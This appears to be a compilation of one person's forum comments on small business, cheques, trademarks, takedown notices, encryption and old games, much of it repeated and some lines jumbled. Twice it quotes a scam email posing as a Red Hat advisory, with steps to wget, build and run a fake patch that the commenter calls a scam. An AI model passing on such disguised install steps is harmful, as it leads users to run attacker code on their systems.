I've always found this fascinating. They teach an "entrepreneurship class" at the local high school here as well. I was invited to speak to this class a few times over the years; that's how I know that it exists.
As an "entrepreneur" who never took a class in entrepreneurship (I own and operate my own small business -- my basic theory of business is that if more is coming in than is going out in expenses, then it's a success), I have no idea how anyone would actually teach someone how to start a business. A bookkeeping class, maybe -- double-entry bookkeeping is a thing that I've never really understood completely.
The irony of a class about how to be an entrepreneur being taught by a salaried teacher is lost on many, unfortunately.
If you have a great idea for starting a business, then start it. I doubt that any business is Microsoft or IBM or General Motors right from day one. That's what's called building the business; you as the entrepreneur start with something manageable and something that you're comfortable with. And build from there. And learn what's needed when you need to know it.
Is that really a two-semester course in one sentence?
Check 21 [federalreserve.gov] takes effect in the US. Quick version, it gives banks and merchants the option to move images of your original check electronically and destroy the original.
For about the past three months, my "bank" (actually a credit union) has been doing something like that. I don't know about the clearing/cashing end of things, but now instead of returning my actual cheques along with my statement they send me sheets of "mini-copies" of my cheques, 6 per 8.5x11 page. They say that Revenue Canada and the courts now accept these images as proof of payment, and if you need copies of your cheques they keep these images on file for 10 years.
It makes my bank statements a lot lighter and easier to file, and I get the statement in the mail about a week faster than I did when they send the actual paper cheques back.
I know a guy who sent in a check for a traffic ticket and wrote in "legal extortion" in the memo part. The court not only didn't accept it, they turned around and charged him with some silly trumped up contempt of court charge.
I own a small business and a few years ago I had a "disagreement" with the workers compensation board. After much fiddling around (and a so-called board hearing that was pretty much a waste of my time) they told me that I had to pay them $650. I mailed them a cheque and put "Extortion" in the memo field. They cashed it and I never heard anything more about it.
Another time, I caught some roofers fixing the building next door, plugged into MY electrical power. They had run a couple of extension cords across the intervening 30 feet of vacant lot and plugged in to one of my outside power outlets. Without asking or anything. Had they asked, I would probably have told them to go ahead and use it but not asking ticked me off rather efficiently.
I switched off the power to that outlet, then went and yelled at them for a bit and told them that I needed $50 to "cover the cost of the power they used and the cost of my time to deal with them." They gave me their office address and told me to send them a bill.
I did. In fact, I invoiced them for $50 for (get this) "asshole fee".
A couple of weeks later I got a $50 cheque in the mail. It stated that it was "in payment for ASSHOLE FEE" right on the cheque.
It was almost worth framing. But I cashed it instead...
Does anyone else find it strange someone would go through all the trouble of registering a domain-name to run this scam? Why not say "download it off the (such and such) mirror at ftp://120.584.391.568/pub/mirror/redhat/patches/pa tch_file.tar.gz" or something like that.
Actually, they did. I think what's posted here is "version 2". This version came around earlier this weekend:
Original issue date: October 20, 2004
Last revised: October 20, 2004
Source: RedHat
A complete revision history is at the end of this file.
Dear RedHat user,
Redhat found a vulnerability in fileutils (ls and mkdir), that could
allow a remote attacker to execute arbitrary code with root privileges. Some
of the affected linux distributions include RedHat 7.2, RedHat 7.3, RedHat
8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is known that
*BSD and Solaris platforms are NOT affected.
The RedHat Security Team
strongly advises you to immediately apply the fileutils-1.0.6
patch. This is a critical-critical update that you must make by
following these steps:
First download the patch from the Stanford RedHat mirror: wget
www.stanford.edu/~joeio/fileutils-1.0.6.patch.tar. gz
Untar the patch: tar zxvf
fileutils-1.0.6.patch.tar.gz
cd
fileutils-1.0.6.patch
make
./inst
Again, please apply this patch as soon as possible or you risk your system
and others` to be compromised.
Thank you for your prompt attention to
this serious matter,
You would have to define who you mean by a user. If you mean "a novice" then I would disagree with this last statement.
In the "days of DOS" secretaries in most offices had a front-end text menu with WordPerfect as selection number 1. They typed their letters, hit shift-F7 to print on the dot matrix or daisy wheel, done deal.
Okay, apparently the Jade trademark in question isn't the Jade I'm thinking about. But that doesn't nullify my argument:
To the contrary, mate; you just blew your whole argument out of the water - boots, boards, buckets and barrels.
If there are lots of "Jade" projects around, including your pet "Jade" (whichever it is), then it appears that the whole "Jade" trademark experience has become as a practial matter, far too widespread and diluted to be of any real-world value as an exclusive property.
Remeber that old movie, Exit to Eden? It was banned for a while here in Saskatchewan. It just made the movie more popular. It never hit the theatres
It certainly DID hit the theatres in Saskatchewan once the ban was lifted. I remember selling tickets to see that and people I've never seen before or since were coming in left and right to watch it! I remember one little old lady tottering in on her cane and asking, "Is this the movie that they banned?" I said, "Yes it is" and she put her money on the counter and said, "Oh good."
I know of one theatre owner who was orgainizing bus tours to go to Alberta to watch Exit to Eden before the ban was lifted.
You're right about it being a poor excuse for a movie. Had they left it alone and just slapped an R rating on it the thing would have played for one week in Saskatoon and Regina and quietly disappeared never to be seen again.
Here is a warning, though: If you comply with the order, or are silent and do not respond while not complying, these can be used against you as evidence of guilt.
Why should I have to respond to someone's unfounded and ill-advised email? I suspect that most of us have better things to do tha to reply to foolish emails.
Being silent in this case is not necessarily equal to to a demonstration of guilt.
If the information in the takedown notice does not correctly identify the material, then you should simply send a certified letter back explaining that there was not sufficient information to identify the copyrighted works [512(c)(3)(A)(iv)] and also that the statement of the accuracy of the notice was in error. [512(c)(3)(A)(vi)]
Why should I have to do anything at all? I'm sure that most of us have better things to do than respond to foolish emails.
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This is not the same as a Visa or MC Debit card.. where Visa or MC is taking a chunk out of the merchant.
The merchant's bank takes a chunk out of the merchant instead. Usually 35 cents per Interac transaction. Visa/MC charge a percentage of the amount of the purchase, usually between 1% and 4%. Interac fees are usually a flat 35 cents, regardless of wheter you're purchasing an 80 cent chocolate or a $50,000 boat.
Zed got tired of spending time and money on providing windows binaries. So he deciced to ask that in exchange for the binaries he be compensated. The code for xchat is there.
Apparently the source code that's being provided is NOT the source code that he is using to compile the binary that he's selling.
Nobody is being stopped from doing their own compiling.
Actually, they are. See above. You can apparently compile a binary from the source code provided, but you can't compile the binary from that source code.
As I said, the computing power does not exist. By this I mean all the computers in the world working together could not crack AES 256 in a lifetime, actually, they couldn't crack it in thousands of years.
What about the "just got lucky" factor? It may take thousands of years to run through all of the available keyspace, but what if the second key that I try just happens to be the right one?
It might take thousands of years or it might take until tomorrow morning, or anything in between. But I don't see any way to absolutely guarantee that it won't be tomorrow morning; it seems just as likely as "thousands of years".
Memos and letters should not contain executable code. Actually, memos and letters sent by email and not by snail (as your comment assumes) should be entered as plain text into a standard email client and emailed directly from there.
Why send someone a 1mb.doc file attachment to advise him that the part he ordered has arrived or that Mr. Smith will arrive at 1pm?
Loads of people don't even appear to realize that they can send a text message as email.
Spend $50 on an OS and you can only run 3 programs?
And MSDOS costed how much "back in the day", so you could only run ONE program!
It's a matter of what you're used to and what you're expecting. I suspect that folks in the target market for this don't know what to expect and aren't used to anything in that regard, so they may accept this limitation as normal. Just like folks seem to accept Windows viruses and whatnot as a normal part of the "computer experience".
I really respected the company for its practice of publishing some really obscure titles from the past in conveniently cheap editions (you know, all those orange spined paperbacks in the history section).
Even cheaper: . And man-O-man-O, some of their stuff is obscure!
QIX, I think I wasted most of my youth sitting in front of my C64 cussing at the damn squiggly thing. Simple, yet confounding. You know if there are any ports/clones of this floating around?
Why waste your time with a port or a clone? Play the C64 version on a Linux, Mac or Windows machine, or play the real thing on the same.
And of course MULE, the other game that kept me chained to the C64,
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an undergraduate entrepreneurship class
I've always found this fascinating. They teach an "entrepreneurship class" at the local high school here as well. I was invited to speak to this class a few times over the years; that's how I know that it exists.
As an "entrepreneur" who never took a class in entrepreneurship (I own and operate my own small business -- my basic theory of business is that if more is coming in than is going out in expenses, then it's a success), I have no idea how anyone would actually teach someone how to start a business. A bookkeeping class, maybe -- double-entry bookkeeping is a thing that I've never really understood completely.
The irony of a class about how to be an entrepreneur being taught by a salaried teacher is lost on many, unfortunately.
If you have a great idea for starting a business, then start it. I doubt that any business is Microsoft or IBM or General Motors right from day one. That's what's called building the business; you as the entrepreneur start with something manageable and something that you're comfortable with. And build from there. And learn what's needed when you need to know it.
Is that really a two-semester course in one sentence?
Check 21 [federalreserve.gov] takes effect in the US. Quick version, it gives banks and merchants the option to move images of your original check electronically and destroy the original.
For about the past three months, my "bank" (actually a credit union) has been doing something like that. I don't know about the clearing/cashing end of things, but now instead of returning my actual cheques along with my statement they send me sheets of "mini-copies" of my cheques, 6 per 8.5x11 page. They say that Revenue Canada and the courts now accept these images as proof of payment, and if you need copies of your cheques they keep these images on file for 10 years.
It makes my bank statements a lot lighter and easier to file, and I get the statement in the mail about a week faster than I did when they send the actual paper cheques back.
I know a guy who sent in a check for a traffic ticket and wrote in "legal extortion" in the memo part. The court not only didn't accept it, they turned around and charged him with some silly trumped up contempt of court charge.
I own a small business and a few years ago I had a "disagreement" with the workers compensation board. After much fiddling around (and a so-called board hearing that was pretty much a waste of my time) they told me that I had to pay them $650. I mailed them a cheque and put "Extortion" in the memo field. They cashed it and I never heard anything more about it.
Another time, I caught some roofers fixing the building next door, plugged into MY electrical power. They had run a couple of extension cords across the intervening 30 feet of vacant lot and plugged in to one of my outside power outlets. Without asking or anything. Had they asked, I would probably have told them to go ahead and use it but not asking ticked me off rather efficiently.
I switched off the power to that outlet, then went and yelled at them for a bit and told them that I needed $50 to "cover the cost of the power they used and the cost of my time to deal with them." They gave me their office address and told me to send them a bill.
I did. In fact, I invoiced them for $50 for (get this) "asshole fee".
A couple of weeks later I got a $50 cheque in the mail. It stated that it was "in payment for ASSHOLE FEE" right on the cheque.
It was almost worth framing. But I cashed it instead...
If two guys with a bunch of money to blow on lawyers decided to set up a testcase, wouldn't it be pretty simple?
No, that would constitute collusion and is a good way for both of them to end up in jail.
Actually, they did. I think what's posted here is "version 2". This version came around earlier this weekend:
Original issue date: October 20, 2004
Last revised: October 20, 2004
Source: RedHat
A complete revision history is at the end of this file.
Dear RedHat user,
Redhat found a vulnerability in fileutils (ls and mkdir), that could
allow a remote attacker to execute arbitrary code with root privileges. Some
of the affected linux distributions include RedHat 7.2, RedHat 7.3, RedHat
8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is known that
*BSD and Solaris platforms are NOT affected.
The RedHat Security Team
strongly advises you to immediately apply the fileutils-1.0.6
patch. This is a critical-critical update that you must make by
following these steps:
wget
www.stanford.edu/~joeio/fileutils-1.0.6.patch.tar
fileutils-1.0.6.patch.tar.gz
fileutils-1.0.6.patch
Again, please apply this patch as soon as possible or you risk your system
and others` to be compromised.
Thank you for your prompt attention to
this serious matter,
RedHat Security Team.
Copyright © 2004 Red Hat, Inc. All rights reserved.
Actually I know someone who does just that.
Says the guy who's responding to a comment in a long slashdot thread.
Ba-bing! Thank you, thank you, I'll be here all week. Try the veal...
implementing more sophisticated architectures,
Definitely.
developing more robust business logic
Possibly
and implementing more useable software overall.
You would have to define who you mean by a user. If you mean "a novice" then I would disagree with this last statement.
In the "days of DOS" secretaries in most offices had a front-end text menu with WordPerfect as selection number 1. They typed their letters, hit shift-F7 to print on the dot matrix or daisy wheel, done deal.
I truly believe life was much simpler then.
How about "cost recovery".
As opposed to "huge profit", that is.
And if you're not willing to retain a lawyer, then what are you going to do? Call them names?
No, call the law society and file a complaint.
Okay, apparently the Jade trademark in question isn't the Jade I'm thinking about. But that doesn't nullify my argument:
To the contrary, mate; you just blew your whole argument out of the water - boots, boards, buckets and barrels.
If there are lots of "Jade" projects around, including your pet "Jade" (whichever it is), then it appears that the whole "Jade" trademark experience has become as a practial matter, far too widespread and diluted to be of any real-world value as an exclusive property.
Remeber that old movie, Exit to Eden? It was banned for a while here in Saskatchewan. It just made the movie more popular. It never hit the theatres
It certainly DID hit the theatres in Saskatchewan once the ban was lifted. I remember selling tickets to see that and people I've never seen before or since were coming in left and right to watch it! I remember one little old lady tottering in on her cane and asking, "Is this the movie that they banned?" I said, "Yes it is" and she put her money on the counter and said, "Oh good."
I know of one theatre owner who was orgainizing bus tours to go to Alberta to watch Exit to Eden before the ban was lifted.
You're right about it being a poor excuse for a movie. Had they left it alone and just slapped an R rating on it the thing would have played for one week in Saskatoon and Regina and quietly disappeared never to be seen again.
Actually, that's the funny part about police cars. They are very careful about which cars are allowed to do pursuit. It's the Crown Vic and one other.
Around here, the RCMP (Royal Canadian Mounted Police) pursuit cars are Ford Mustangs.
Here is a warning, though: If you comply with the order, or are silent and do not respond while not complying, these can be used against you as evidence of guilt.
Why should I have to respond to someone's unfounded and ill-advised email? I suspect that most of us have better things to do tha to reply to foolish emails.
Being silent in this case is not necessarily equal to to a demonstration of guilt.
If the information in the takedown notice does not correctly identify the material, then you should simply send a certified letter back explaining that there was not sufficient information to identify the copyrighted works [512(c)(3)(A)(iv)]
and also that the statement of the accuracy of the notice was in error. [512(c)(3)(A)(vi)]
Why should I have to do anything at all? I'm sure that most of us have better things to do than respond to foolish emails.
This is not the same as a Visa or MC Debit card.. where Visa or MC is taking a chunk out of the merchant.
The merchant's bank takes a chunk out of the merchant instead. Usually 35 cents per Interac transaction. Visa/MC charge a percentage of the amount of the purchase, usually between 1% and 4%. Interac fees are usually a flat 35 cents, regardless of wheter you're purchasing an 80 cent chocolate or a $50,000 boat.
Zed got tired of spending time and money on providing windows binaries. So he deciced to ask that in exchange for the binaries he be compensated. The code for xchat is there.
Apparently the source code that's being provided is NOT the source code that he is using to compile the binary that he's selling.
Nobody is being stopped from doing their own compiling.
Actually, they are. See above. You can apparently compile a binary from the source code provided, but you can't compile the binary from that source code.
As I said, the computing power does not exist. By this I mean all the computers in the world working together could not crack AES 256 in a lifetime, actually, they couldn't crack it in thousands of years.
What about the "just got lucky" factor? It may take thousands of years to run through all of the available keyspace, but what if the second key that I try just happens to be the right one?
It might take thousands of years or it might take until tomorrow morning, or anything in between. But I don't see any way to absolutely guarantee that it won't be tomorrow morning; it seems just as likely as "thousands of years".
Memos and letters should not contain executable code.
.doc file attachment to advise him that the part he ordered has arrived or that Mr. Smith will arrive at 1pm?
Actually, memos and letters sent by email and not by snail (as your comment assumes) should be entered as plain text into a standard email client and emailed directly from there.
Why send someone a 1mb
Loads of people don't even appear to realize that they can send a text message as email.
Spend $50 on an OS and you can only run 3 programs?
And MSDOS costed how much "back in the day", so you could only run ONE program!
It's a matter of what you're used to and what you're expecting. I suspect that folks in the target market for this don't know what to expect and aren't used to anything in that regard, so they may accept this limitation as normal. Just like folks seem to accept Windows viruses and whatnot as a normal part of the "computer experience".
Probably just the dashboard clock.
I really respected the company for its practice of publishing some really obscure titles from the past in conveniently cheap editions (you know, all those orange spined paperbacks in the history section).
Even cheaper: . And man-O-man-O, some of their stuff is obscure!
867-5309 (Jenny) is the most famous of these screw-ups.
QIX, I think I wasted most of my youth sitting in front of my C64 cussing at the damn squiggly thing. Simple, yet confounding. You know if there are any ports/clones of this floating around?
Why waste your time with a port or a clone? Play the C64 version on a Linux, Mac or Windows machine, or play the real thing on the same.
And of course MULE, the other game that kept me chained to the C64,
Yup, you definitely need this.
someone stole them and extracted credit card info from people who made online purchases.
And those people were making online purchases with their personal credit cards during working hours because...
Just because a person logs in to a terminal at 8 AM in the morning, does it follow that an access from that terminal at 4 PM is the same person?
Probably, if it's from the CEO's private office and so forth and so on.
Not everywhere needs "military grade" security.